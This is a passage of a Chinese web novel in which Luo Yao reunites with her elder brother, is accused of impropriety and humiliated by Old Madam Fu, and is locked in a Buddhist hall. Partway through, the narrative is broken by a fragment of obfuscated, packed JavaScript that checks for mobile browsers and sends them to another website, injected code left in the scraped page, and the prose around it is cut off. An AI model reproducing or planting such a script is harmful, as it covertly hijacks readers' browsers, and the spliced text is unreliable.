初始洛云牧虽有不解,后来得知他救了阿瑶,再后来和他说想要见阿瑶,他却言辞闪烁,用阿瑶失忆拒绝,答应自己会找个合适时机和阿瑶说,自己在苏州府苦苦等待将近半年却毫无音信。 洛云牧越想越觉得傅闻璟心机深沉,这人明摆着就是不想自己找到阿瑶,怕不是想把阿瑶据为己有。 幸好,幸好,上天不负,他抱着到碰碰运气的想法来到淮南府,竟让他遇上外出的阿瑶。 “不论如何,旁的事情我都可以应允,这人,我不同意。”洛云牧收回思绪,看着洛瑶,语气严肃。 洛瑶深知兄长脾气,不好与他争执,“那兄长等我安排妥淮南府的事情后,咱们再启程回苏州府吧。” 闻言,洛云牧紧蹙的眉头松开,笑着应了声好。 31. 第 31 章 洛瑶陪着洛云牧用了午饭,兄妹二人经历生死,时隔两年后再见面,饭桌上洛云牧恨不得把淮南府所有好东西都搬到洛瑶面前。 “妹妹多吃些,虽然这里的饭食不如咱们家的好,你身子虚,得多吃些。”洛云牧不停地给洛瑶夹菜,洛瑶也十分给面子,只要是洛云牧夹的,洛瑶都来者不拒。 洛云牧夹了个狮子头放进洛瑶碗里。 洛瑶猛地想起那日,母亲也给她夹了狮子头,只是那日她胃口不好,吃了两口便放一边,还拉着母亲插科打诨,逃避用饭。 啪嗒。 眼泪掉落,和精致的骨瓷碟子相触,发出清脆的声音。 洛瑶放下筷子,捂着脸小声啜泣,“那天、那天娘也给我夹了狮子头,我当时还嫌弃来着,我……” 洛瑶哭得起劲,一时间喘不上气,胃里翻涌,侧过身子干呕。 “阿瑶别哭,母亲没有怪你,”洛云牧担心洛瑶的情况,蹲在她身边,轻拍她后背,擦掉她的眼泪,温声安抚,“当时我们都以为会有以后,只是没想到会是这样,但爹娘肯定肯定是希望我们活下去。” 洛瑶哭了好一会才停下来,说什么也不肯再吃了。 洛云牧让人把饭菜撤走,端上了扬州府的特色糕点,“阿瑶吃不下饭,那便用些糕点吧,这些虽是在淮南府买的,但也有家乡味。” 洛瑶点点头,拿起一块糕点仔细品尝,许是店家来了淮南府有些日子,做出来的糕点并未带有清甜,腻了不少。 没用几块,洛瑶便说够了,拉着洛云牧问事情。 洛云牧特意捡了些轻松的说,洛瑶从小共情强,眼泪浅容易哭,洛云牧生怕说了什么,又惹得洛瑶哭起来。 听洛云牧说,洛瑶杏眼眯起来,脸上满上向往。 窗外的阳光洒进来,落在两人身上,映出两道交叠的身影,在旁边看来,就像一人把另一人拥入怀中。 本打算再聊一会,流风来禀报事情,洛云牧有事情要去忙,洛瑶便跟他约好时间后回了晋王府。 路上她在想应该怎么跟傅闻璟说这个事情。 想来,得知自己亲人还在世,傅闻璟应该很开心,至少,不用管自己这个……累赘。 洛瑶想起先前傅老夫人的原话,自己出身卑微,不配为高门妇。其实,晋王府……她也不稀罕。 虽是这样想,洛瑶心中到底是难免酸涩。怎么说,傅闻璟也是实打实陪了她两年,这两年若不是她的缘故,按照他的年岁,想必着已成婚,何至于蹉跎至此。 洛瑶一路上若有所思,并未发现有人跟在她身后。 * 回到晋王府,洛瑶还没进主院,便迎面遇上马嬷嬷。 “姑娘安好,老夫人请姑娘到韶华阁说说话。” 洛瑶眉头一挑,傅老夫人回来这半年,老是以各种借口叫自己到韶华阁训话。 若是放在当年的洛府,洛瑶定会耍起小脾气不理会,但如今在晋王府,人在屋檐下不得不低头。 “王爷呢?”洛瑶脱口而出。 “王爷也在韶华阁。” “走吧。” 洛瑶下巴微抬,示意马嬷嬷前方带路。 马嬷嬷见状,心中一惊,怎么感觉洛瑶脱胎换骨一般了?明明是同一个人,怎么生了病后,通身气度怎么感觉跟换了个人一样。 更意外的是月芽,往日洛瑶都是喊傅闻璟“哥哥”,今日倒是第一次听到洛瑶喊“王爷”。 两人压下心中的疑惑,一个在前方带路,一个跟在洛瑶身后。 韶华阁里。 傅老夫人和傅老夫人坐在上首。傅闻璟似是神游一般,傅老夫人在一旁喋喋不休,傅闻璟都没有任何反应。 此时傅闻璟脑海里满是方才看的画面。 压着扶手的大掌不自觉地收紧,指甲扎进掌心,傅闻璟都没有反应。 “王爷,老夫人,洛姑娘来了。” 马嬷嬷的声音惊醒了傅闻璟,他抬眸看向款款走进来的人,莲步轻移,容貌娇美,只是一双眸子盯着地面,完全不看自己。 若是细看,还能看到哭过的痕迹,鼻尖微红,眼角也是红红的。 傅闻璟脑海里又开始不自觉地浮起洛瑶的一颦一笑,还有洛瑶俏生生地喊他“哥哥”。 “给王爷、老夫人请安。”洛瑶行了个礼,然后站在原地不动,像是没人发话,她便一直站着。 傅闻璟眉头微蹙,但又说不出哪里不对劲。 他盯着洛瑶,是了,阿瑶往日见到自己会喊“哥哥”,会拉着自己的袖子,今日没有往日对自己的亲昵。 怕不是和那人有关。 对别人言笑晏晏,对自己连往日的笑容都不肯假装一下吗? 傅闻璟不断告诉自己不要想太多,但一想到洛瑶对着陌生男子笑得那般开心,心中就像是打翻醋坛子一般。 傅闻璟正想着,耳边传来茶盏碎裂的声音。 洛瑶飞快往后挪了几步,不然老夫人掷出去的茶盏,就落在她身上。 扶着月芽的手,洛瑶捂着胸口喘气,“敢问老夫人这是什么意思?” “什么意思!”傅老夫人拍了下桌子,指着洛瑶斥责,“什么意思还要我明说吗?你自己做了什么丑事自己知道。” “好好的一个黄花大闺女,和男子搂搂抱抱,成何体统!” 洛瑶眉头一挑,猜测傅老夫人是看到或是听到别人她和洛云牧见面,还没等她开口,傅老夫人又骂道:“闻璟救你回来,你不知足,还这般落王府的脸面。” 傅老夫人给了马嬷嬷一个颜色,马嬷嬷传唤了一个丫鬟进来。 小丫鬟进来头也不抬,跪在厅中,把洛瑶和洛云牧见面的场景说出来。 “她说得可对?”傅老夫人浑浊的眸子盯着洛瑶。 洛瑶垂眸,并没有否认,“是,我今日确实是和他见面了,但他不是别人,是我——” “够了!” 傅闻璟冷声打断。 他不想听到洛瑶说下去,他害怕,害怕听到那个答案。 “阿瑶——” 傅闻璟还想说下去时,林公公来禀报,说是陛下口谕,传傅闻璟进京。 食指和拇指不自觉地摩挲,一双凤眸盯着洛瑶,洛瑶坦然和他对视,最后还是傅闻璟坚持不下去,移开了视线。 “王爷。” 林公公催促,“宫中来的信使还在外面候着,陛下等着您进宫,别的事情,咱们回来好好聊。” “莫要因为一些莫须有的事情,影响了和姑娘的感情。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453881|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林公公担心洛瑶被污蔑,又担心傅闻璟生洛瑶的气,恨不得自己长了两张嘴。 傅闻璟沉吟,半响后,起身,经过洛瑶时,轻声道:“阿瑶,等我回来。” “等等,”洛瑶扯住傅闻璟的袖子,杏眸盯着傅闻璟的眼睛,“你是不是也不信我?” 洛瑶带着期待,但凡傅闻璟能说句信她,老夫人再多苛责,她也愿意承受。 但傅闻璟没有,只是拂开她扯着他衣袖的手,避开洛瑶的眼睛,只留了“等我”二字,便离开了。 从韶华阁到府门,傅闻璟脑海中不断闪现洛瑶看他的眼神,坦然、笃定、甚至带着一丝期待。 他忽然有些嫉妒那个可以光明正大站在洛瑶身边的人,那个可以不用顾忌世俗眼光,将她拥入怀的人,那个什么都不用做,靠着洛瑶冲锋陷阵的,抵挡世俗苛责的人。 坐在马上,傅闻璟深呼吸,用力把洛瑶那双眸子甩出脑海。 进京也好,至少他能冷静一段时间,他怕他冲动把那人给剁了。 * 傅闻璟走后,洛瑶见老夫人也消失,便也准备起身告退,却被马嬷嬷拦下。 “姑娘别着急走,老夫人请姑娘到后头小佛堂说说话,”马嬷嬷在前面引路,嘴里说着好话,“姑娘也别生气,老夫人把您当成自家的孙女,担心您遭人欺骗,这才过激了些。” “姑娘也是,若是有相中的男子,和老夫人直接说就行了,没必要偷偷摸摸。” 洛瑶越听越觉得刺耳,若老夫人真的对她好,便应该查清楚再说话,而不是这般部分青红皂白栽赃。 “老夫人费心了。”洛瑶扯了扯嘴角,脸上笑意不达眼底。 韶华阁后院的小佛堂,常年关着门窗,里面挂着深色的幔帐。走近小佛堂,鼻尖是刺鼻的香烛味道,佛堂里只有昏暗的烛光,外头阳光灿烂,里面阴森,冷到骨子里。 洛瑶跟着马嬷嬷进了佛堂,月芽本打算跟着进去,却被马嬷嬷拦住,“老夫人和姑娘说些体己话,月芽姑娘还是在外面候着吧。” 说着扬手,两个韶华阁的小丫鬟一左一右把月芽带到一旁去,等月芽察觉不对劲时,人已经走远了。 马嬷嬷给洛瑶点了一炷香,“进庙烧香,这虽不是庙宇,姑娘还是上柱香吧。” 洛瑶握着三支香虔诚地拜三拜,然后把三支香插入香炉,等她回过神来,屋内只剩她一人。 房门紧闭,她转身走过去,用力推拉房门,丝毫没有动静,却听到门环和锁扣相碰的声音。 “马嬷嬷,老夫人这是何意?” 马嬷嬷站在门口身子微躬,恭敬道:“姑娘,老夫人这也是为您好,未出阁女子不要轻易和男子接触,还望姑娘在佛堂里好好反省。” 洛瑶气笑了,一屁股坐在蒲团上。 抬头看着佛堂里供奉的神佛,嘴角扯出一丝嘲讽的弧度,老夫人还真的是嘴上慈悲,行的却是这般不见的人之事,难怪一天到晚都要待在佛堂里,怕不是心里有鬼吧。 罢了,既来之则安之。洛瑶心想,若是没有回复记忆的自己,定会被这场面吓到哭出来,但是如今她已经恢复记忆。 曾几何时,她也经常被祖母罚过跪佛堂,就是祖母走了好些年了,被关佛堂这确实是久违的感觉。